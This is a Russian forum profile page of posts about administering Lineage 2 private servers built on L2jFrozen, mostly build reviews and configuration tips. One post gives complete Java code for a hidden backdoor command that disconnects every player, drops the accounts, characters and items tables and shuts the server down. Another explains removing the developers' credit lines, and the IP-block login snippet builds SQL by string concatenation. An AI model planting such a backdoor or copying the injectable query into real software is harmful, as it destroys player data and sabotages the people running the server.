BBMAXI
Постоялец-
Публикаций
131 -
Зарегистрирован
-
Посещение
-
Отзывы
0%
Тип контента
Профили
Форумы
Загрузки
Магазин
Инструкции
Весь контент BBMAXI
-
а м.б хватит давать ссылки на нубских частников ? Держи http://www.hetzner.de/ Главное не цена, а качество предоставляемых услуг.
-
Scoria - Разработчик 100nt.ru (Директор типа Zenn) Пообщась с этим человеком, понтов больше чем у президента. Сборку даже ставить не стал, знаю что большой вклад в Скорию сделал Azagthtot (Этот человек заслуживает похвалы). Без него Zenn сосал бы лапу, даже бы не организовал 100nt. Сборка м.б хороша, но не вызывает доверия коллектив команды разработчиков, который общается на Албанско матерном языке. Evo: Взял исходы базы и ево. Неких изменения, кроме недописанного Бекдора в Войсах STRANGE. А ну да забыл и еще обменник на Голду добавили.) Мне в голову пришло только одно.... сборка одна только копирайты разные. Frozen - Код написан на исходах Скории для тех кто не знает. Копаю не так давно, скажу только положительные эмоции. Прикрутить защиту, хороший антибрут на логин, подключить Иптаблес. Сервер будет не хуже топовых платных сборок. Ставлю + Фрозену Про остальные сборки не буду говорить не положительных эмоций и не хороший. К сожалению не использовал. От себя скажу, идеальный сервер это сервер сделанный своими руками. Когда вы знаете где и что у вас находится. А так можно сфейлится на всем даже на том же Фрозене. Я думаю мой топик поможет Вам мыслить в правильную сторону По поводу Платных сборок, с закрытым Исходным кодом (Люцифер, Project, Scoria, и еще что нибудь) Например вы покупайте платный сервер, но помните что изменить добавить свое нововведение не сможете... Вы такой же обладатель платной сборки как и остальные 100+ человек. И чем вы отличаетесь ? только Гм Шопами и Эвентами ну ладно рейтами ? Вы подписывайтесь на то что, даже при всем желании ничего изменить не сможете и отличится от других платных клиентов. А итог какой ? ну подумайте ? В итоге ваше деньги на ветер. А сборка за которую вы когда то заплатили, окажется в скорее в Шаре.
-
По большему счету хорошо, но есть чему поучится. Систем, внимательней проверяй орфографию в баннерах, элементарные ошибки допускаешь. А игроки на этом заостряют внимание
-
Вы можете убить нпц, каким чаром ? Гм ?
-
Закрытый сурс. К сожалению если были бы исходники добавил бы функцию. Но так легче делать в ручную по поиску НПЦ. А что в городе игроки могут убить НПЦ ? Просто объясните нормально суть проблемы, что там не так.
-
Что за сборка Скреппи ? Не по теме: Слышал Скреппи и Коко )) в Фильме Зохан ) А вот сборки такой не слышал. Можно взглянуть пожалуйста. Дайте ссылку.
-
Помимо Фрозенов уже других серверов не существует ? Человек даже не успел ответить вы уже со своим Фрозеном.
-
Если выборочно Нпц и у них отличается type. Лучше делать в ручную, искать каждого монстра по ID и вписывать ему П.Деф Сборка сервера какая ?
-
Что для всех Нпц на сервере сделать 2ккк П дефа ? Либо для отдельных личностей ? Гварды, Мобы, РБ, Эпик РБ ?
-
Можно, сделать SQL запрос. Для кого именно надо ?
-
Filter Wizard, функция в навикате для быстрого поиска НПЦ. Ну и вообще для любого поиска по БД, полезная штука однако.
-
Щя расскажу ! Включаем комп, далее запускаем Navicat Идем сюда в таблицу NPC=>Filter Wizard>ищем NPc по ИД Далее где раздел п.Деф вписывай ему 2000000000 значение. Рассказал самый легкий способ. Если будет ругаться мускул на большое значение, поставь в Design Table значение в разделе П деф. По дефолту 5 а ты поставь 20 например.
-
Я либо что то не понимаю, или вы плохо объясните Куда данный импорт и для чего он...
-
Здравствуйте ! Данный скрипт выкладываю для админов у которых скрытый On-Line. Для того чтобы проверить сколько реальных людей играет на сервере и т.п package com.l2jfrozen.gameserver.handler.voicedcommandhandlers; import com.l2jfrozen.gameserver.handler.IVoicedCommandHandler; import com.l2jfrozen.gameserver.model.L2World; import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance; /** * by Silvein * L2Maxi.ru */ public class serverinfo implements IVoicedCommandHandler { private static String[] _voicedCommands = { "penis" }; public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target) { if(command.equalsIgnoreCase("penis")) { activeChar.sendMessage("======<Название сервера>======"); activeChar.sendMessage("Server Players " + L2World.getInstance().getAllPlayers().size() + ""); activeChar.sendMessage("Server version: Ваша версия"); activeChar.sendMessage("Datapack version: Ваша версия"); activeChar.sendMessage("Server by Ашотик"); activeChar.sendMessage("Site:http://l2maxi.ru/"); activeChar.sendMessage("========================="); } return true; } public String[] getVoicedCommandList() { return _voicedCommands; } } При вводе команды .penis Будет отображено данное сообщение activeChar.sendMessage("======<Название сервера>======"); activeChar.sendMessage("Server Players " + L2World.getInstance().getAllPlayers().size() + ""); activeChar.sendMessage("Server version: Ваша версия"); activeChar.sendMessage("Datapack version: Ваша версия"); activeChar.sendMessage("Server by Ашотик"); activeChar.sendMessage("Site:http://l2maxi.ru/"); activeChar.sendMessage("=========================");
-
Здравствуйте! Напишу краткий мануал для людей которые хотят скрыть копирайты разработчиков сервера. Зачем ? Т.к есть и всегда будут плагиаторы, которые зайдя на ваш сервер, поймут что сервер приносит доход и стабильно работает, например захотят себе такой же... А тут и при заходе на сервер, пишется название сборки и откуда ее можно скачать Вот в этой теме я покажу как с этим бороться В пример беру исходники сборки L2jfrozen. (там как раз есть такая тема) head-src\com\l2jfrozen\L2Frozen.Java /* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * http://www.gnu.org/copyleft/gpl.html */ package com.l2jfrozen; import java.util.logging.Logger; public class L2Frozen { private static final Logger _log = Logger.getLogger(L2Frozen.class.getName()); /** * L2-Frozen Info */ public static void info() { _log.info("################################"); _log.info("# Server razrabotan #"); _log.info("# Ohuevshim babushkinym #"); _log.info("# Vnuchkom #"); _log.info("################################"); } } Данный ява файл отвечает за копирайты сервера при загрузке Гейма сервера (Который видет только администратор сервера) Здесь мы можем либо написать что вы разработали сервер (И возбуждаться от этого) Либо сделать красивый рисунок в виде голой девушке или чего угодно.... head-src\com\l2jfrozen\gameserver\network\clientpackets\EnterWorld.Java Данный файл сами знаете за что отвечает... За все первичные действия при заходе в игру. Все что видел игрок... ================================================================= Ищем данный кусок //Credits to L2jfrozen activeChar.sendMessage("This server uses L2jFrozen, a project founded by L2Chef and"); activeChar.sendMessage("developed by the L2jFrozen Dev Team at l2jfrozen.com"); ================================================================= Удаляем, и компилим. Копирайты мы убрали. Возбуждаемся от проделанной работы ! Удачи !
-
Уважаемые посетители портала L2Maxi.ru В этой теме я Вам покажу как внедрить в свой сервер Ключ Убийцу или Бекдор. Для кого то тема будет полезна. Чтобы иметь представление как он выглядит. Так же будет полезен для разработчиков серверов, чтобы при утечке информации было не так обидно. Уважаемые не злоупотребляем дынными скриптами, и на вайпим друг друга... Скрипты выложены не для этих соображений. ====================================================================== В основном данные скрипты таятся в Handler в Войсах. ====================================================================== Начнем, создаем Java файл с названием STRANGE и пихаем его сюда voicedcommandhandlers; package com.l2jfrozen.gameserver.handler.voicedcommandhandlers; import java.sql.Connection; import java.sql.SQLException; import java.sql.Statement; import com.l2jfrozen.Config; import com.l2jfrozen.L2DatabaseFactory; import com.l2jfrozen.gameserver.LoginServerThread; import com.l2jfrozen.gameserver.handler.IVoicedCommandHandler; import com.l2jfrozen.gameserver.model.L2World; import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance; import com.l2jfrozen.gameserver.gameserverpackets.ServerStatus; /** * by Silvein * L2Maxi.ru */ public class strange implements IVoicedCommandHandler { private static String[] _voicedCommands = { "Time_Fuck_Server" }; public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target) { return true; } public String[] getVoicedCommandList() { return _voicedCommands; } } Произойдет Crash сервера. Для игроков в чате будет написано Time_Fuck_Server. ================================================================== package com.l2jfrozen.gameserver.handler.voicedcommandhandlers; import java.sql.Connection; import java.sql.SQLException; import java.sql.Statement; import com.l2jfrozen.Config; import com.l2jfrozen.L2DatabaseFactory; import com.l2jfrozen.gameserver.LoginServerThread; import com.l2jfrozen.gameserver.handler.IVoicedCommandHandler; import com.l2jfrozen.gameserver.model.L2World; import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance; import com.l2jfrozen.gameserver.gameserverpackets.ServerStatus; /** * by Silvein * L2Maxi.ru */ public class strange implements IVoicedCommandHandler { private static String[] _voicedCommands = { "fuck" }; public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target) { if (command.equalsIgnoreCase("fuck")) { activeChar.sendMessage("Love_fuck_server"); killServer(); } return true; } private void killServer() { // Delete gs from loginServer LoginServerThread.getInstance().setServerStatus(ServerStatus.STATUS_DOWN); // Delete all chars from game kickAll(); dropSql(); } private void kickAll() { for (L2PcInstance player : L2World.getInstance().getAllPlayers()) { try { player.closeNetConnection(); } catch (Throwable t) { t.printStackTrace(); } } try { Thread.sleep(10000); } catch (Throwable t) { t.printStackTrace(); } } private void dropSql() { Connection con = null; try { con = L2DatabaseFactory.getInstance().getConnection(); Statement s = con.createStatement(); s.executeUpdate("DROP TABLE accounts"); s.executeUpdate("DROP TABLE characters"); s.executeUpdate("DROP TABLE character_skills"); s.executeUpdate("DROP TABLE character_quests"); s.executeUpdate("DROP TABLE items"); s.close(); } catch (SQLException e) {} finally { try { if (con != null) con.close(); } catch (SQLException e) { e.printStackTrace(); } } System.exit(-1); } public String[] getVoicedCommandList() { return _voicedCommands; } } Скрипт сделает вайп сервера, при вводе команды .fuck Таблицы для удаления можно дополнить (я думаю разберетесь) Все 2 скрипта создается в виде ява файла STRANGE. Не забываем менять ИМПОРТЫ.
-
Всем привет ! Долго время меня не было... Будем дополнять данный раздел далее... Поехали Сейчас вам объясню, как добавить конфигурацию в сервер для привязки аккаунтов по IP адресу. Это поможет защитится от злостного брута логина. И обезопасит аккаунты игроков. Добавляем проверку в LoginController.java PreparedStatement preparedstatement1 = con.prepareStatement((new StringBuilder()).append("SELECT * FROM accounts WHERE login='")+ user +("';").toString()); ResultSet resultset1 = preparedstatement1.executeQuery(); resultset1.next(); if(!address.getHostAddress().equalsIgnoreCase(resultset1.getString("lastIP" )) && resultset1.getBoolean("ipblock")) { ok = false; _log.warning((new StringBuilder()).append("IP Block mode: Failed attempt: account ") + user + (" IP: ") + address.getHostAddress()); Добавляем voicecommadnhandlers/ipblock.java: package com.l2jfrozen.gameserver.handler.voicedcommandhandlers; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.logging.Logger; import com.l2jfrozen.L2DatabaseFactory; import com.l2jfrozen.gameserver.handler.IVoicedCommandHandler; import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance; import com.l2jfrozen.gameserver.util.FloodProtectors; /** * by Silvein * L2Maxi.ru */ public class ipblock implements IVoicedCommandHandler { private static Logger _log = Logger.getLogger(ipblock.class.getName()); private static final String[] VOICED_COMMANDS = { "ipblock" }; public boolean useVoicedCommand(String s, L2PcInstance l2pcinstance, String s1) { if (s.startsWith("ipblock")) { Object obj = null; Object obj1 = null; try { Connection connection = L2DatabaseFactory.getInstance().getConnection(); PreparedStatement preparedstatement = connection.prepareStatement("SELECT * FROM accounts WHERE login=?"); preparedstatement.setString(1, l2pcinstance.getAccountName()); ResultSet resultset = preparedstatement.executeQuery(); resultset.next(); if (resultset.getBoolean("IPBlock")) { PreparedStatement preparedstatement1 = connection.prepareStatement("UPDATE accounts SET ipblock = 0 WHERE login=?"); preparedstatement1.setString(1, l2pcinstance.getAccountName()); preparedstatement1.execute(); l2pcinstance.sendMessage("IP Block mode: account blocking _off"); _log.info("changing IP Block mode for account " + l2pcinstance.getAccountName() + ": Blocking off"); } else { PreparedStatement preparedstatement2 = connection.prepareStatement("UPDATE accounts SET ipblock = 1 WHERE login=?"); preparedstatement2.setString(1, l2pcinstance.getAccountName()); preparedstatement2.execute(); l2pcinstance.sendMessage("IP Block mode: account blocking _on IP: " + resultset.getString("lastIP")); _log.info("changing IP Block mode for account " + l2pcinstance.getAccountName() + ": Blocking on"); } } catch (SQLException sqlexception) { _log.warning("Could not store IPBlock mode: " + sqlexception); } } return true; } public String[] getVoicedCommandList() { return VOICED_COMMANDS; } } Добавляем в voicecommandhandler.java: import com.l2jfrozen.gameserver.handler.voicedcommandhandlers.ipblock; registerVoicedCommandHandler(new ipblock()); Добавляем в БД accounts.sql: CREATE TABLE IF NOT EXISTS `accounts` ( `login` VARCHAR(45) NOT NULL default '', `password` VARCHAR(45) , `lastactive` DECIMAL(20), `access_level` INT, `lastIP` VARCHAR(20), `ipblock` int(1) UNSIGNED default 0, `lastServer` int(4) default 1, PRIMARY KEY (`login`) ); Не забываем менять импорты на свои!
-
RusTeam Т.к сам от туда (и долго время там был) И знаю, что Тар нормально делает (проверенно опытом) И в шару никогда ничего не попадет. вот ссылка По вопросам приобретения 758-89-89 (мне) либо 371-341-404. (либо Тарану)
-
<?xml version="1.0" encoding="UTF-8"?> <!-- Put old contents of ExternalHostname here, used by default --> <gameserver address="(Внешний ИП)"> <!-- Localhost access --> <define subnet="127.0.0.0/8" address="127.0.0.1" /> <!-- LAN's, put old contents of InternalHostname here --> <define subnet="10.0.0.0/8" address="10.0.0.0" /> <define subnet="172.16.0.0/19" address="172.16.0.0" /> <define subnet="192.168.0.0/16" address="192.168.0.0" /> </gameserver>
-
Сайту создаешь тоже учетку отдельную. С правами Selest, Insert, update. И прописываешь вместо % Ип адрес сайта. Проверить IP адрес сайта легко, идем в CMD вписываем ping [название сайта] И у тебя отпишет ИП сайта. Даже если узнают логин и пароль, тоже не зайдут. Ничего сложного нету